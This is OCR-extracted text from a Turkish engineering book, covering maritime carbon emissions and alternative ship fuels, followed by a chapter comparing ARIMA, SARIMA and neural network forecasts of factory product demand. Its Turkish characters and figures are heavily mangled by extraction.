2016 | 35.380 | 1026 | 2.90 727 2.05 894 2.53
2017 | 35.810 | 1064 | 2.97 746 2.03 929 2.59
2018 | 36.573 | 1056 | 2.89 740 2.02 919 2.51

Uzun vadeli ekonomi ve enerji senaryolarina gore CO,
Emisyonlarinin, 2008’den 2018 yilina gelindiginde yiizde
90’lara, 2050 yilina gelindiginde ise ylizde 90 ile ytlizde
130 seviyeleri arasinda olacagi tahmin edilmektedir.
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2020 ve 2021 yillarinda Covid-19 Pandemi etkisi ile
emisyonlarda diisiis olmasi olasidir.

Sekil 2’de son 3 IMO (International Maritime
Organization) GHG (Green house gases) caligmasi
genelinde tahmin edilen emisyonlari ortaya koymaktadir.
Deniz tasimaciligina yonelik siirekli artan talebin uzun
vadeli bir arka planina karst bu ii¢ ¢alisma, uluslararasi
denizciligin GHG emisyonlari i¢in yaklasik olarak ii¢ ayri
donemini gostermektedir. (URL-6)

e 1990-2008 yillar1 arasindaki emisyon artisi, deniz
ticaretindeki biiylimeyle dogru orantilidir.

e 2008-2014 yillarnn arasindaki donem deniz
ticaretindeki biiyiimeye ragmen emisyon azalmasi,
ulastirma talebindeki biiylimeden emisyonlarin
ayristirilmasini saglayan hizli bir karbon yogunlugu
azaltma donemidir.

e 2014-2018 yillar1 arasinda Karbon yogunlugunda
deniz ticaretindeki biiyiimeden daha yavas ancak
daha 1limli bir iyilesme donemidir.

=== UNCTAD Seaborne trade (tnm) EEQI (g CO;/tnm) = CO;e emissions (t)
UNCTAD Seaborne trade (t) AER (g CO,/dwtnm)
140 1MOZ MO3 IMO4
1201 s
008 o7
EEOI ,/
. 4 M\QL
801 Z
60 /
1990 1995 2000 2005 2010 2015 2020

Sekil 2. 1990-2020 yillart Arast Gemilerden Kaynakli Sera Gazi
Emisyonlar1 (URL-6)
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4. Denizcilikte Karbon Emisyonunun

Azaltilmasi Konusunda Yapilan ve Yapilacak

lyilestirmeler

IMO, gemilerin sebep oldugu c¢evre Kkirliligini
minimuma indirmek icin bircok Onlem almaktadir.
EEDI sayesinde CO, salimiminin kontrol altina tutulmas:
amaglanmigti. Gemi Enerji Verimliligi Ydnetim Plani
(SEEMP) ile gemilerin isletme verimlili§inin en st
seviyede olmast hedeflenmistir (URL-6). Denizlerin
Gemilerden Kirlenmesini Onleme Uluslararas1 Sozlesmesi
(MARPOL) Ek-VI'nc1 Maddesi Kural 13 ve Kural 14 ile
gemilerin sebep oldugu NOx, SOx ve PM salinimlarinin
minimize edilmesi amaglanmistir (URL-2).

MARPOL Ek- VI ile geminin motor giicline ve imalat
yilina gore NOx salinim miktarlar1 ortaya konmustur
(Kocal, T. 2020). Bununla beraber gemilerde kullanilan
yakitlardakisiilfiirylizdesinin 2020 yilinakadar maksimum
%3,5’ten %0,5e diisilirtilmesi kararlastirilmistir (URL-2)
. Ilaveten, MARPOL Ek-VI biinyesinde Baltik Denizi,
Kuzey Denizi, Birlesmis Devletler Karayip Denizi ve
Kuzey Amerika bolgelerini ¢evreleyen belirli alanlarin
Emisyon Kontrol Alanm1 (ECA) belirlemistir. Bu sularda
faaliyetlerini siirdiirecek gemilerin 2015 yili1 sonrasinda
stilflir ylizdesi %0,1°1 agsmayacak yakit titketmesi zorunlu
hale getirilmigtir (URL-3).
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Sekil 4. 2000-2025 Yillar: Arast Yakitlarda Talep Edilen Siilfiir

Oranlart (URL-2)

Denizyolu tasima sisteminde g¢evreyi korumaya
yonelik  belirlenen kurallar gemilerden atmosfere
salian sera gazi emisyonlarimin disiiriilmesi ve enerji
verimliliginin artirilmast kurallarin1 artirmaktadir. Bir
yandan belirlenmis bolgelerde (ECA/SECA) temiz yakit
kullanilmas1 belli bir siirecin icerisinde zorunlu hale
getirilmis ve bu sayede SO, ve NO, gibi sera gazlarinin
saliiminin diigiiriilmesi amaglanmistir. Bununla birlikte
yakitlarin enerji verimliligi kurallar1 ve EEDI uygulamaya
konmustur. (Parlak, A.,2021)
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Gemilerde Karbon Emisyonunu Azaltmak igin

Kullanilan Alternatif Yakitlarin Kiyaslanmasi

Denizcilik endiistrisinin sifir karbon uygulamasinda
ciddi ¢abalar1 ve rolii mevcuttur. Uluslararasi1 Denizcilik
Orgiitii, 2008 yila kiyasla 2050 yila kadar tiim sera
gaz1 emisyonlarin1 yariya indirmeyi, karbondioksit
emisyonlarini ise yiizde 70 azaltmay1 hedeflemistir. Bu
kapsamda asagidaki alternatif yakitlar ve teknolojiler
ortaya ¢ikmistir. Bunlardan bazilar1 = Sivilagtirilmis
dogal gaz (LNG), Elektrik (enerji tastyici), Hidrojen,
Bioyakitlar, Metanol, Dimetil Eter (DME), LPG olarak
disiiniiliir (URL-6).

Alternatif Yakitlarin Karbon Yogunlugu ve Enerji

Verimliligi Olarak Kiyaslanmasi

Gemilerden kaynakli CO, emisyonlarinin distirmek
icin iki farkli yol izlenmektedir. Bunlardan biri enerji
verimli sistemleri gemilere entegre etmek, digeri karbon
icerigi diigiik alternatif yakitlar yakmaktir. HFO, VLSFO
ya da MGO gibi giinlimiizde yaygm olarak tiiketilen
yakait tlirlerinin karbon igerikleri oldukca fazladir (Yigit,
K. 2018). Karbon igerigi ile emisyon oranlari dogru
orantilidir. Dolayistyla karbon igerigi diisiik yakatlar ile
emisyon salmimlarinin azaltilmasi1 hedeflenmektedir.
Asagida, glinlimiiz yapilan bir calismada gemilerinde
kullanilan baz1 yakitlarin karbon igerigi ve karbon
katsayisini goriilmektedir.
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Tablo 2. Gemilerde Kullanilan Yakitlarm Karbon Igerikleri
(Parlak, A.,2021).

Yakat tipi Karbon icerigi (%) C, (t-CO,/t-Fuel
MGO %87.44 3.206
HF0 %84.93 3.114
Etanol (C,H,OH) %52.17 1.913
LPG (C,H,) %81.82 3.000

CO, emisyonlarini azaltmak diisiiniilen alternatif
yakitlar, amonyak, LNG, LPG metanol ve etanol
olarak disiiniilmektedir. Etanol, bitkisel yakitlarm
fermantasyonu ile ortaya ¢ikmaktadir (URL-1). Bu
sebeple devamlilik problemi ortaya ¢ikmaktadir. Metanol
ise hidrokarbon kokenli yakit c¢esitlerinin su buhari ile
tepkimelere girmesiile ortaya ¢gikarildigindan, etanole gore
devamlilikta avantajlidir. Bununla beraber toksik igerigi
ve parlama noktasinin diisiik olmast giivenlik ve saglik
acisindan sorun olusturmaktadir. Bu sorunun ¢6ziimii
icin ¢ift cidarli yakit borusu ve yakit kacak sensdrleri
olarak diistiniilebilir (Yigit, K. 2018). Yakitin sivi olmasi
sebebiyle kurulum maliyetleri gaz fazli yakitlara gore
daha diisiik seviyededir. Ancak, yakit fiyatlarinin ve 1sil
degerinin HFO iin yaris1 kadar olmas1 dezavantaj olarak
goriilmektedir. Asagidaki tabloda kullanilan alternatif
yakitlarin Enerji degerleri, birbirine denk enerji tiiketimi
kapsaminda gerekecek tank hacmi ve Emisyon azaltma
kiyaslarini gérmekteyiz.



54 ‘ MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR |1

Tablo 3. Alternatif Yakitlarin Igerikleri ve Emisyon Diisiirme
Oranlar1 (Parlak, A.,2021)

Yakit tipi | Ozgiil Enerji Gerekli Beslenme Pompa HFO Tier II ye gore
enerji | yogunlugu Tank Basmci | basmer | Emisyonlardaki azalma yilzdesi %
Mj/keg Hacmi, m? bar
MJ/L
HFO 40.5 35 1000 7-8 950 SOx NOx CO; PM
LNG 50 22 1590 300 Metan 300 90-99 20-30 24 20
Metan
380 Etan 380 Etan | 90-97 30-50 15 90
LPG 42 26 1346 50 600-700 [ 90-100 10-15 13-18 90
Metanol 19.9 15 2333 10 500 90
Etanol 26 21 1750 10 500
Amonyak 18.6 12.7 2755 70 600-700 100 ‘ - ‘ =95 ‘ =90

Yukaridaki tabloya gore 6zgiil enerjisi en yiiksek yakit
hidrojen, ayrica en diigiik enerji igerigine sahiptir. Enerji
icerik yoniinden en verimlisi HFO’diir. Bir yakitin enerji
yogunlugu iki yonden 6nem arz etmektedir. Bir birim
enerji Uiretmek icin kag¢ birim yakit pompalanacagi ortaya
cikacaktir. Ornegin, esit giic elde etmek i¢in bir birim HFO,
1.59 birim LNG, 1.75 birim etanol 4.11 birim Hidrojen
tilkketilmesi gerekecektir (Parlak, A.,2021). Tiiketilecek
yakit i¢in fazladan depolama tanki gerekecektir. Ayni
mesafeyi gitmek yukaridaki oranlarin tam tersi kapasitede
tanklar olmasi gerekmektedir. Aksi durumda daha fazla
yakit alim siklig1 ortaya cikacaktir. Boylece atilan sefer
sayisi diisecektir (URL-6).

Alternatif Yakitlarin EEDI (Energy Efficiency

Design index) Degerleri Kapsaminda

Kiyaslanmasi

EEDI yanma sonucu atmosfere yayilan CO,
emisyonuyla alakalidir. Alternatif yakit tiirlerinin EEDI
ylizdesini Marine Diesel Oil’e oranla azalma ytizdeleri
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Metanol icin %7, LPG icin %12, LNG igin %25 ve
Amonyak i¢in (%95)’tir. Bu orana makinenin yanmasinda
kullanilan pilot yakit olarak adlandirilan dizel yakit
eklenmistir. Amonyok’ta karbon atomu olmadigindan
bu kadar yiiksek oranda diisiirebilmektedir. Dolayisiyla
EEDI deger diistirme oranlarina bakildiginda Amonyak
en avantajli yakittir. Ancak, kiitlesel enerji icerigi Marine
Dizel Oil’den 2.5 kat daha diisiik oldugu i¢in 2.5 kat daha
cok yakit depolama kapasitesine ihtiya¢ duyulacaktir.
Bu sebeple Amonyak ve metanol’lin diisik mesafeli
seyirlerde tercihi s6z konusu olacaktir. (Yigit, K. 2018).

SONUC VE ONERILER

Bu calismada, son yillarda ulasimda kullanilan
yakitlardan kaynakli sera gazlari, bu etkilerin azaltilmasi
icin yapilan c¢alismalar ve kullanilmasi planlanan
alternatif yakitlar ele alinmistir. Bu yakitlarin bir¢ok etki
bakimindan kiyaslamasi yapilmis avantaj ve dezavantajlari
ortaya konmustur. LNG, LPG, Metanol ve Hidrojen gibi
alternatif yakitlarinin dizel yakita oranla kullanilmasi
durumunda ortaya ¢ikan maliyet tiirleri ortaya konmustur.
Bu durumlarda alternatif yakitlarin karbon emisyonlari ve
etkileri ¢gevre lizerinde gézlemlenmistir. Bu hesaplamalar
yardimiyla hangi yakitin daha ekonomik ve daha ¢evreci
oldugu ve artan bir ilgi ile takip edildigi 6n goriilmistiir.
Diisiik  karbonlu  teknolojilerin ~ maliyetlerindeki
diislisiin devam etmesi halinde, bu ivme her gecen giin
daha da artacaktir.
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ZAMAN SERISi ANALIZzi ILE TALEP TAHMINI VE BIiR
FABRIKADAKI URETIM PLANLAMA

Burak GULMEZ!

GiRIS

Tahmin, uzun vadeli stratejik planlamaya rehberlik
eden ve iiretim, nakliye, personel, is planlama ve
cizelgelemeleriyle ilgili yol gdosterici bir istatistiksel
calismadir. Bununla birlikte, tahmin siklikla planlama
ve hedeflerle karnistirilir. Bu kavramlar birbirlerinden
farkl1 kavramlardir. Tahmin, ge¢mis veriler ve olaylarn
bilgisi dahilinde olmak iizere mevcut tiim bilgilerin géz
Oniine alinarak, gelecegi miimkiin oldugunca dogru bir
sekilde bilme olayidir. Hedefler, gerceklesmesi arzu
edilen seylerdir. Ideal olarak, her zaman bdyle olmasa da,
hedefler tahminlere ve planlara baglanmalidir. Cok sik
olarak, hedefler, onlara nasil ulasilacagina dair bir strateji
veya fizibilitelerinin bir degerlendirmesi olmaksizin
belirtilir. Planlama, tahminlere ve hedeflere gore alinan
reaksiyonlardir. Planlama, tahminleri hedeflerle uyumlu

1 Ars. Gor. Dr, Erciyes Universitesi, https:/orcid.org/0000-0002-6870-6558,
burakgulmez@erciyes.edu.tr
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hale getirmek icin gerekli adimlar1 belirlemektir. Tahmin,
bir isletmenin birgok yonii iizerinde onemli bir etkiye
sahip olabileceginden, yonetimin karar verme siireglerinin
temel bir unsuru olmalidir. Uygulamaya bagl olarak,
modern kuruluslar kisa vadeli, orta vadeli ve uzun vadeli
projeksiyonlar talep eder. Personel, iiretim ve nakliye
planlamas1 kisa vadeli projeksiyonlara ihtiyag¢ duyar.
Talep tahminleri genellikle planlama siirecinin bir pargasi
olarak gereklidir. Hammadde satin almak, personel
istihdam etmek veya makine ve ekipman satin almak i¢in
gelecekteki kaynak ihtiyaglarini tahmin etmek igin orta
vadeli projeksiyonlar gereklidir. Stratejik planlama, uzun
vadeli tahminler kullanir. Bu se¢imler pazar firsatlarini,
cevresel hususlart ve i¢ kaynaklart dikkate almalidir. Bir
sirket, dngoriilemeyen olaylar1 tahmin etmek i¢in birgok
yontem kullanan bir tahmin sistemi tasarlamalidir. Bu
tiir tahmin sistemleri, tahmin konularin tanimlanmast,
cesitli tahmin tekniklerinin uygulanmasi, her problem icin
uygun yontemlerin segilmesi ve tahmin yontemlerinin
zaman i¢inde degerlendirilmesi ve iyilestirilmesi
konularinda uzmanligin gelistirilmesini gerektirir. Resmi
tahmin tekniklerinin etkili bir sekilde kullanilmasi
gerekiyorsa, kullanimlari i¢in giiglii bir organizasyonel
destege sahip olmak da ayn1 derecede 6nemlidir (Gililmez,
2021; Hyndman & Athanasopoulos, 2018; Sen, 2020).

Bir tahmin projesinin ilk asamalarinda, neyin tahmin
edilmesi gerektigine dair kararlar alinmasi gerekir.
Ornegin, bir iiretim ortamindaki kalemler igin tahminler
gerekliyse, asagidakiler igin tahminlerin gerekli olup
olmadigini sormak gerekir (Hyndman & Athanasopoulos,
2018):
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e Her {irlin grubu i¢in mi yoksa iiriin gruplari i¢in mi?

e Her satis noktasi i¢in mi yoksa bolgeye gore
gruplandirilmis satis noktalart icin mi yoksa
yalnizca toplam satiglar igin mi?

e Haftalik veri mi, aylik veri mi, yillik veri mi?

e Tahmin ufkunu da dikkate almak gereklidir.
Tahminler bir ay i¢in mi, alt1 ay i¢in mi yoksa bes
yil i¢in mi gerekli olacak? Hangi tahmin ufkunun
en Oonemli olduguna bagli olarak farkli model
tiirleri gerekli olacaktir.

e Tahminler ne siklikla gereklidir? Sik sik tiretilmesi
gereken tahminler i¢in manuel ¢alisma gerektiren
yontemlerdense otomatik bir sistem kullanmak
daha iyidir.

Hangi tahminlerin gerekli oldugu belirlendikten
sonra, tahminlerin dayanacag: verilerin bulunmasi veya
toplanmasi gerekir. Tahmin igin gerekli veriler zaten
mevcut olabilir. Giiniimiizde pek ¢ok veri kaydediliyor ve
veri ile ugrasan kisinin gorevi genellikle gerekli verilerin
nerede ve nasil saklandigini belirlemektir. Veriler, bir
sirketin satis kayitlarini, bir iirline yonelik tarihsel talebi
veya bir cografi bolge i¢in igsizlik oranini igerebilir. Bir
veri bilimeisinin zamaninin biiyiik bir kism1, uygun tahmin
yontemlerini gelistirmeden dnce mevcut verileri bulmak
ve onlar iizerinde iglemler yapmak i¢in harcanabilir.
Tahminleme genellikle bes temel adimi i¢erir (Hyndman
& Athanasopoulos, 2018; Karakoyun, 2018):

Birinci adim problem tanimidir. Problemi dikkatli bir
sekilde tanimlamak, tahminlerin nasil kullanilacagini,
tahminleri kimin gerektirdigini ve tahmin fonksiyonunun
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tahminlere ihtiya¢ duyan organizasyona nasil uydugunu
anlamay1 gerektirir.

Ikinci adim bilgi toplamadir. Bu bilgiler hem
istatistiksel verilerden olusur hem de verileri toplayan
kisinin bilgi birikimidir. Genellikle, iyi bir istatistiksel
modele uymasi icin yeterli tarihsel veriyi elde etmek
zor olacaktir. Bazen, tahmin edilen sistemdeki yapisal
degisiklikler nedeniyle eski veriler igse yaramaz olabilir.
Boyle durumlarda sadece en son verileri kullanmak
secilebilir. Ancak, iyi istatistiksel modeller sistemdeki
degisiklikleri de algilar, bundan dolay1 verileri gereksiz
yere atmamak gerekir.

Ucgiincii adim veriyi kesfetmektir. Bunun igin veriler
grafik haline getirilebilir. Tutarli modeller var m?
Onemli bir egilim var m? Mevsimsellik énemli mi?
Is cevrimlerinin varhgma dair kanit var m1? Verilerde
uzman bilgisine sahip kisiler tarafindan aciklanmasi
gereken herhangi bir aykiri deger var mi1? Analiz igin
mevcut degiskenler arasindaki iliskiler ne kadar giigli?
Bu ve bunun gibi analizlerle veri kesfedilir ve gerekliyse
bazi iglemler gergeklestirilir.

Dérdiincii adim model se¢imidir. Kullanilacak en iyi
model, tarihsel verilerin mevcudiyetine, tahmin degiskeni
ile herhangi bir agiklayici degisken arasindaki iligkilerin
giiciine ve tahminlerin nasil kullanilacagina baglidir.
Sadece bir model {izerinden gidilmemelidir. En azindan
birka¢ model denenmelidir. Her modelin kendisi, bir
dizi varsayima dayanan bir yapidir ve genellikle bilinen
tarihsel veriler kullanilarak tahmin edilmesi gereken bir
veya daha fazla parametre igerir.
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Besinci adim tahmin modelinin  kullanilmasi
ve degerlendirilmesidir. Bir model segildikten ve
parametreleri denendikten sonra, model tahmin yapmak
icin kullanilir. Modelin performansi, ancak tahmin
donemi verileri kullanilabilir hale geldikten sonra uygun
sekilde degerlendirilebilir. Tahminlerin dogrulugunun
degerlendirilmesi icin gergcek degerlerle karsilagtirilir ve
performans degerlendirmesi i¢in kullanilir.

LITERATUR TARAMASI

Literatiirde zaman serileri oldukca ¢ok sayida ¢alisma
igermektedir. Uretim planlama, iiretim tahmini, talep
tahmini gibi durumlar i¢in zaman serileri yontemleri
kullanilmaktadir. Zaman serileri sadece bu alanlarda degil
farkli alanlarda da kullanilmaktadir.

Ayoobi vd. (2021) zaman serisi analizini yeni
COVID-19 vakalarin1 ve 6liimlerini tahmin etmek igin
kullanmistir. Yontem olarak ise derin 6grenme yontemini
denemistir. Talkhi vd. (2021) benzer sekilde Iran’daki
COVID-19 vaka ve oliim sayilarin1t ARIMA, yapay sinir
aglart gibi yontemlerle tahmin etmeye c¢alismiglardir.
Bi vd. (2021) derin 6grenme ile zaman serisi analizini
turizm verileri lizerinde test etmislerdir. Gelecege yonelik
turist sayisi tahmini gerceklestirmislerdir. Kim ve Kim
(2021) elektrikli arag kullanimina bagh olarak elektrikli
sarj istasyonlarina olan talebin artacagindan bahsetmistir.
Bunun i¢in sarj istasyonlarina olusacak talebi tahmin
etmeye caligmisti. ARIMA, YSA gibi yoOntemleri
kullanmiglardir. Cheng vd. (2021) hastanelerdeki
acil servisler i¢in bir zaman serisi ¢alismasi lizerinde
caligmiglardir. Saatlik olarak veriyi diistinmiiglerdir
ve bundan dolayr SARIMA kullanmislardir. Alduailij
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vd. (2021) akilli binalar i¢in en yiiksek enerjiye ihtiyag
duyulan anlar1 ve bu anlardaki enerji ihtiyaglarini zaman
serisi analizi ile tespit etmislerdir. Calismalarinda ARIMA
kullanmiglardir. Bu ¢alismalara benzer sekilde ¢cok sayida
farkli alanlarda c¢alismalar mevcuttur (Di Piazza vd.,
2021; Dittmer vd., 2021; Gijon vd., 2021; Rozanec vd.,
2022).

YONTEM

Zaman serisi analizi i¢in farkli algoritmalar mevcuttur.
Genelde ARIMA ve SARIMA ile zaman serileri
yapilmaktadir. Bunlarin yan1 sira yapay sinir aglar da
sikca kullanilmaktadir.

Butiinlesik Otoregresif Hareketli Ortalama

(ARIMA)

Otoregresyon ile hareketli ortalama modellerinin
birlesiminden olusmaktadir. Igerisinde mevsimsellik
yoktur. ARIMA modelleri p, d ve q olmak tizere {i¢ adet
parametreye sahiptir. p, otoregresif boliimiin sirasini, d,
birinci farkin derecesini, g, hareketli ortalamanin sirasini
temsil etmektedir (Piccolo, 1990).

Mevsimsel Otoregresif Hareketli Ortalama

(SARIMA)

ARIMA modelleri dénemden, aydan, mevsimden
arindirilmis  modellerdir. Fakat baz1 durumlarda
mevsimsellik olduk¢a 6nemlidir ve gelecek tahminlerinde
olduk¢a Onemli rol oynamaktadir. ARIMA modeline
mevsimsellik  eklenmis hali SARIMA modelidir.
ARIMA’da bulunan p, d, q parametrelerinin yani sira
mevsimselligi temsil eden P, D, Q parametrelerine de
sahiptir (Valipour, 2015).



MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR || ‘ 63

Yapay Sinir Aglar (YSA)

YSA insan beyninin ¢aligma sisteminden etkilenerek
gelistirilmistir. Insanin gecmis tecriibelerinden yola
cikarak elde ettigi zekay: taklit etmektedir. insan beyninde
noronlar vardir. Noronlar sinir hiicrelerine verilen addir.
Noronlar kendi aralarinda baglantilar kurarlar. Kurduklari
baglantilar sayesinde iletisim gerceklestirirler ve bilgi
iletimini saglarlar.

Yapay sinir aglar1 insandaki noéronlar ile benzerlik
gosterir. Yapay sinir aginin yapisi Sekil 1°deki gibidir.
Sekilde goriildiigii iizere Y SA {i¢ katmandan olusmaktadir.
Birinci olarak girdi katmani vardir. Girdi katmaninda
girdi degerleri yer almaktadir. Girdi katmanindan sonra
gizli katmanlar vardir. Gizli katmanlar girdi katmani ile
cikti katmanini birbirine baglar. Ugiincii olarak ise ¢ikti
katmani vardir. Cikt1 katmani sonucu verir.

Gizli katman

Sekil 1: Yapay Sinir Ag1 Yapist (Giilmez & Kulluk, 2019)
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Buradaki problem icin YSA o6zellestirildiginde girdi
katmaninda gegmisteki Uretim miktarlarini karsilayacak
kadar sayida noron bulunmalidir. Aradaki gizli
katmanlar sayica farklilik gosterebilir. Cikt1 katmani
ise tahmin igerecegi i¢in tek bir nérondan olugmalidir.
Tasarlanacak YSA yapist ¢éziim kalitesinde 6nemli bir
rol oynayacaktir. Genellikle sadece bir adet gizli katman
bulunan YSA’lar basit kalabilmektedir. Birden fazla
gizli katmana sahip YSA’lar daha kompleks ve karmasik
problemleri ¢ozebilmektedir. Birden fazla gizli katmanl
Y SA yontemine derin 6grenme de denmektedir.

BULGULAR

Bu problemde zaman serileri analizi ile bir fabrikadaki
iiretim miktarlar1 tahmin edilmeye calisilmistir. Uretim
tahmini i¢in kullanilabilecek farkli algoritmalar mevcuttur.
Bu algoritmalar test edilmis ve karsilastirilmistir.
Oncelikle bu fabrikada iiretilen iiriin miktar1 icin ge¢mis
veriler iki farkli kiimeye boliinecektir. Bu kiimelerden ilki
egitim verisi olarak kullanilacaktir. Diger veri kiimesi ise
test verisi olarak kullanilacaktir. Boylece algoritmalarin
gercekteki kaliteleri ortaya ¢ikacaktir,

Algoritmalarin  karsilastirilmalart  ve  performans
degerlendirmeleri icin hata kareleri toplamlari (mean
squared error), (mean absoluate percentage error) ve
(mean absoluate error) yontemleri kullanilacaktir. Bu
yontemlerin formiilleri (1), (2) ve 3’te verilmistir.

1 n .
MSE= 1) (i) (1)

" .
_ 100 Yi— Wi
MAPE = — Z - 2)
i
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MAE= 23 |3~ 3)
1

Veri ¢ farkliiiriin igin siparis miktarlarini icermektedir.
Bu iirinler A, B ve C isimleri ile temsil edilmistir.
Kullanilan veri giinliik toplam siparig sayilaridir. Veriler
sirastyla Sekil 2, Sekil 3 ve Sekil 4’te gosterilmistir.

¥ 8 &8 858 28

MMW MJV b

0 180

Sekil 2: A Uriinii I¢in Y1llik Talep Miktari

.” ”ﬁm—w i

B

"y
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Sekil 3: B Uriinii icin Yillik Talep Miktar1

Sekil 4: C Uriinii icin Yillik Talep Miktar

Veri biitiinlesik  otoregresif hareketli ortalama
(ARIMA) modeliyle test edilmistir. A {irlinii i¢in egitim
verileri, test verileri ve yapilan tahminler Sekil 5’de
goriilebilir.
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Sekil 5: A Uriinii Igin ARIMA ile Yapilan Tahmin Grafigi

ARIMA ile A iiriinii tahmininde MSE degeri 88.709,
MAPE degeri 3.004 ve MAE degeri 7.494 cikmustr.
Sonuglar Tablo 1’de goriilebilir.

Tablo 1: A Uriinii Igin ARIMA ile Yapilan Tahmin Sonuglari

MSE
88.709

s B

0

©

MAPE
3.004

A {iriinii
ARIMA

MAE
7.494

ARIMA ile B iiriinii i¢in egitim verileri, test verileri ve
yapilan tahminler Sekil 6’da goriilebilir.

it

Sekil 6: B Uriinii icin ARIMA ile Yapilan Tahmin Grafigi
ARIMA ile B iirlinli tahmininde MSE degeri 29.671,
MAPE degeri 1.718 ve MAE degeri 4.746 c¢ikmistir.
Sonuglar Tablo 2’de goriilebilir.
Tablo 2: B Uriinii icin ARIMA ile Yapilan Tahmin Sonuglar1

MSE
29.671

MAPE
1.718

B lirtinii
ARIMA

MAE
4.746

ARIMA ile C {iriinii i¢in egitim verileri, test verileri ve
yapilan tahminler Sekil 7°da goriilebilir.
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Sekil 7: C Uriinii igin ARIMA ile Yapilan Tahmin Grafigi

ARIMA ile C iiriinii tahmininde MSE degeri 291.569,
MAPE degeri 0.912 ve MAE degeri 14.457 cikmustr.
Sonuglar Tablo 3’de goriilebilir.

Tablo 3: C Uriinii icin ARIMA ile Yapilan Tahmin Sonuglari

C {rlini MSE MAPE MAE
ARIMA 291.569 0.912 14.457
Veri mevsimsel otoregresif hareketli ortalama

(SARIMA) modeliyle test edilmistir. A {iriinii i¢in egitim
verileri, test verileri ve yapilan tahminler’ Sekil 8’de
goriilebilir.
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Sekil 8: A Uriinii I¢in SARIMA ile Yapilan Tahmin Grafigi

SARIMA ile A iiriinii tahmininde MSE degeri 74.752,
MAPE degeri 2.727 ve MAE degeri 7.113 cikmustr.
Sonuglar Tablo 4’de goriilebilir.

Tablo 4: A Uriinii Ii¢gin SARIMA ile Yapilan Tahmin Sonuglart

A {irtinii
SARIMA

MSE
74.752

MAPE
2.727

MAE
7.113
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SARIMA ile B iirtinii i¢in egitim verileri, test verileri
ve yapilan tahminler Sekil 9°da goriilebilir.

WW i (W \u WW M

Sekil 9: B Uriinii Icin SARIMA ile Yapilan Tahmin Grafigi

SARIMA ile B iiriinii tahmininde MSE degeri 26.684,
MAPE degeri 1.445 ve MAE degeri 4.472 ¢ikmustir.
Sonuglar Tablo 5’de goriilebilir.

Tablo 5: B Uriinii igin SARIMA ile Yapilan Tahmin Sonuglari

s w B G B B B
1
—

B tirtini MSE MAPE MAE
SARIMA 26.684 1.445 4.472

SARIMA ile C iiriinii icin egitim verileri, test verileri
ve yapilan tahminler Sekil 10°da goriilebilir.

Sekil 10: C Uriinii igin SARIMA ile Yapilan Tahmin Grafigi

SARIMA ile C iiriinii tahmininde MSE degeri 287.177,
MAPE degeri 0.905 ve MAE degeri 14.194 ¢ikmistir.
Sonuglar’ Tablo 6de goriilebilir.

Tablo 6: C Uriinii icin SARIMA ile Yapilan Tahmin Sonuglar

C {irtinii MSE MAPE MAE
SARIMA 287.177 0.905 14.194
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Veri YSA ile test edilmistir. YSA farkli yapilarda
tasarlanabilir. YSA’da tek gizli katman olma zorunlulugu
yoktur. Birden fazla gizli katman bulunabilir. Birden
fazla gizli katman olan YSA’lara derin 0grenme adi
verilmektedir. Daha etkili sonu¢ verdigi igin derin
ogrenme ile test edilecektir. YSA ile A iiriinii i¢in egitim
verileri, test verileri ve yapilan tahminler Sekil 11°da
goriilebilir.

e

g

i

4 o

0 0

Sekil 11: A Uriinii I¢in YSA ile Yapilan Tahmin Grafigi
YSA ile A {iriinii tahmininde MSE degeri 63.890,
MAPE degeri 0.444 ve MAE degeri 6.756 c¢ikmustir.
Sonuglar Tablo 7’de goriilebilir.
Tablo 7: A Uriinii I¢in YSA ile Yapilan Tahmin Sonuglart

A irtinii MSE MAPE MAE
YSA 63.890 0.444 6.756

YSA ile B iiriinii i¢in egitim verileri, test verileri ve
yapilan tahminler Sekil 12’da goriilebilir.
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Sekil 12: B Uriinii I¢in YSA ile Yapilan Tahmin Grafigi
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YSA ile B iiriinii tahmininde MSE degeri 35.819,
MAPE degeri 0.939 ve MAE degeri 5.415 g¢ikmustir.
Sonuglar Tablo 8’de goriilebilir.

Tablo 8: B Uriinii icin YSA ile Yapilan Tahmin Sonuglari

B tiriinii MSE MAPE MAE
YSA 35.819 0.939 5.415

YSA ile C iiriinii icin egitim verileri, test verileri ve
yapilan tahminler Sekil 13°da goriilebilir.

Sekil 13: C Uriinii I¢in YSA ile Yapilan Tahmin Grafigi

YSA ile C iiriinii tahmininde MSE degeri 289.566,
MAPE degeri 0.371 ve MAE degeri 14.428 c¢ikmistir.
Sonuglar Tablo 9’de goriilebilir.

Tablo 9: C Uriinii icin YSA ile Yapilan Tahmin Sonuglari

C irtinii MSE MAPE MAE
YSA 289.566 0.371 14.428
TARTISMA

Tiim algoritmalarin ve degerlendirme kriterlerinin yer
aldip1 dzet tablo Tablo 10°da gosterilmistir. Ozet tabloya
bakildiginda SARIMA ve YSA’nin ARIMA’ya gore daha
basarili tahminler ylriittigi gorilmistiir.
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Tablo 10: Ozet Tablo

Yoéntem Uriin MSE MAPE MAE
A 88.709 3.004 7.494
ARIMA B 29.671 1.718 4.746
C 291.569 0.912 14.457
A 74.752 2.727 7.113
SARIMA B 26.684 1.445 4.472
C 287.177 0.905 14.194
A 63.890 0.444 6.756
YSA B 35.819 0.939 5415
C 289.566 0.371 14.428

Zaman serisi analizi bir fabrikadaki A, B ve
C driinlerinin  talep tahmini i¢in kullanildiginda
talep verilerinin ¢ok diizenli olmadigi goriilmiistiir.
Veriler ¢ok dalgalidir. A, B ve C iriinlerinin talep
tahminlerini gerceklestirmek icin ARIMA, SARIMA
ve YSA yontemleri kullanildiginda SARIMA ve YSA
yontemlerinin ARIMA ydntemine nazaran daha basarili
ciktiklar1 goriilmektedir. Bunun bir sebebi SARIMA,
ARIMA’ya gore icerisinde mevsimsel degisiklikleri de
barindirir. Bu sayede daha basarili sonuglar verir. YSA ise
ARIMA ve SARIMA’dan ¢ok farkli bir yontemdir ve her
alanda uygulanabilir. Son derece esnektir ve gelismistir.
Bundan dolay1 YSA da iyi sonuglar vermistir. Fabrikadaki
iretim planlamast yapilirken SARIMA veya YSA
sonuglar1 dikkate alinmalidir. Fabrikadaki {iretim planlama
i¢in gilivenlik stogu, liretim siiresi, siparisin ulagsma siiresi
gibi degiskenler g6z Oniinde bulunduruldugunda ¢ok
kritik bir sekilde dogru tahminde bulunmak énemlidir. Bu
calismada gelecek icin SARIMA ve YSA tahminlerinin
ortalamasinin alinmasi liretim planlama i¢in dnerilmistir.
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SONUC VE ONERILER

Zaman serisi analizi ¢ok farkli alanlarda kullanimi olan
